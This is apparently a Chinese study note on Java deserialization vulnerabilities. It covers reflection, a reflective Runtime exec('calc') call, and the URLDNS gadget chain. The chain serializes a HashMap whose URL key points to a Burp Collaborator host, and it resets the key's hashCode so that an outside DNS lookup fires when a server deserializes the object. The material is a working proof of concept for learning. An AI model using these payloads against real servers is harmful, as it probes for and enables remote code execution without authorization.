0x00 Java原生序列化与反序列化
产生漏洞原因:
服务端反序列化数据,客户端传递类的readObject
中代码会自动执行,给予攻击者在服务器上运行代码的能力。
可能的形式:
- 入口类的
readObject
直接调用危险方法 - 入口类参数中包含可控类,该类有危险方法,
readObject
时调用 - 入口类参数中包含可控类,该类又调用其他有危险方法的类,
readObject
时调用 - 类型定义为
Object
,调用equals/hashcode/toString
(重点:相同类型、同名函数) - 构造函数/静态代码块等类加载时隐式执行
条件(继承Serializable
):
- 入口类
source
- 重写
readObject
- 调用常见的函数、参数类型宽泛(比如
HashMap
、HashTable
:为什么HashMap
需要重写writeObject
和readObject
?因为HashMap
对象的反序列化结果与序列化之前的结果可能不一致,所以必须重写方法) - 最好自带
jdk
- 调用链
gadget
、chain
、相同名称、相同类型 - 执行类
sink
(rce
、ssrf
写文件等等)
0x01 Java反射+URLDNS链
简单的反射
如果属性或方法是私有的,则需要使用到aaa.getDeclaredField
或getDeclaredMethod
方法,并且设置bbb.setAccessible(true)
才可以进行修改
public class Person {
public String name;
private int age;
@Override
public String toString() {
return "Person{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}
public void action(String act) {
System.out.println(act);
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
public Person() {
}
public Person(String name, int age) {
this.name = name;
this.age = age;
}
}
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
public class ReflectionTest {
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, ClassNotFoundException, NoSuchFieldException {
Person person = new Person();
// 反射就是操作Class
Class<? extends Person> aClass = person.getClass();
// 从原型class里面实例化对象
// Person p = aClass.newInstance();
Constructor<? extends Person> constructor = aClass.getConstructor(String.class, int.class);
Person p = constructor.newInstance("haha", 111);
System.out.println(p);
// 获取类里面属性
// Field[] declaredFields = aClass.getDeclaredFields();
// for (Field declaredField : declaredFields) {
// System.out.println(declaredField);
// }
// Field namefield = aClass.getField("name");
// namefield.set(p, "test");
Field namefield = aClass.getDeclaredField("age");
namefield.setAccessible(true);
namefield.set(p, 111);
System.out.println(p);
// 调用类里面的方法
// Method[] methods = aClass.getMethods();
// for (Method method : methods) {
// System.out.println(method);
// }
// Method action = aClass.getMethod("action", String.class);
// action.invoke(p, "aaaaaaaaa");
// 如果方法Person类中action方法是私有的
// 则需要使用getDeclaredMethod,并且设置setAccessible(true)
Method action1 = aClass.getDeclaredMethod("action", String.class);
action1.setAccessible(true);
action1.invoke(p, "hahahaha");
}
}
calc
的放射
package com.example;
import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
public class RuntimeTest {
public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Runtime.getRuntime().exec("calc");
// Runtime 没有继承Serializable接口 无法序列化
// Runtime runtime = Runtime.getRuntime();
// Class 可以序列化
Class<Runtime> runtimeClass = Runtime.class;
// 静态方法getRuntime 参数类型无参
Method getRuntime = runtimeClass.getMethod("getRuntime", null);
// 静态方法 第一个参数为null 无参方法 第二个参数为null
Runtime runtime = (Runtime) getRuntime.invoke(null, null);
Method exec = runtimeClass.getMethod("exec", String.class);
exec.invoke(runtime, "calc");
}
}
URL
类中存在反序列化
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.net.URL;
import java.util.HashMap;
public class SerializationTest {
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static void main(String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException {
HashMap<URL, Integer> hashMap = new HashMap<URL, Integer>();
hashMap.put(new URL("http://bu9u6gn2ae5u0be48is3s4r1us0io7.burpcollaborator.net"), 1);
serialize(hashMap);
}
}
URL
继承Serializable
接口
hashCode
初始化为-1
只有当hashCode
为-1
时,才会调用URL
类的hashCode
函数
然后得到DNS
请求(getHostAddress
),最终验证是否存在漏洞
原本hashCode
初始化时为-1
,然后会执行hashCode
函数,现在由于设置了hashMap.put(new URL(""), 1);
,所以变成了url
的hashCode
,不再是-1
,而出现下面结果并非是反序列化执行导致的
再执行hashMap.put
方法前,对url
的hashCode
进行设置,改为非-1
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class SerializationTest {
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException {
HashMap<URL, Integer> hashMap = new HashMap<URL, Integer>();
// 这里不需要发起请求,把url对象的hashcode改成不是-1
URL url = new URL("http://gl5iwnmiim0fq2oijtdruqmuqlwbk0.burpcollaborator.net");
// 反序列化之前再把hashcode改回-1即可
Class aClass = url.getClass();
Field hashCode = aClass.getDeclaredField("hashCode");
hashCode.setAccessible(true);
hashCode.set(url, 123123);
hashMap.put(url, 1);
hashCode.set(url, -1);
serialize(hashMap);
}
}
import java.io.*;
public class UnserializeTest {
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
Object obj = objectInputStream.readObject();
return obj;
}
public static void main(String[] args) throws IOException, ClassNotFoundException {
unserialize("ser.bin");
}
}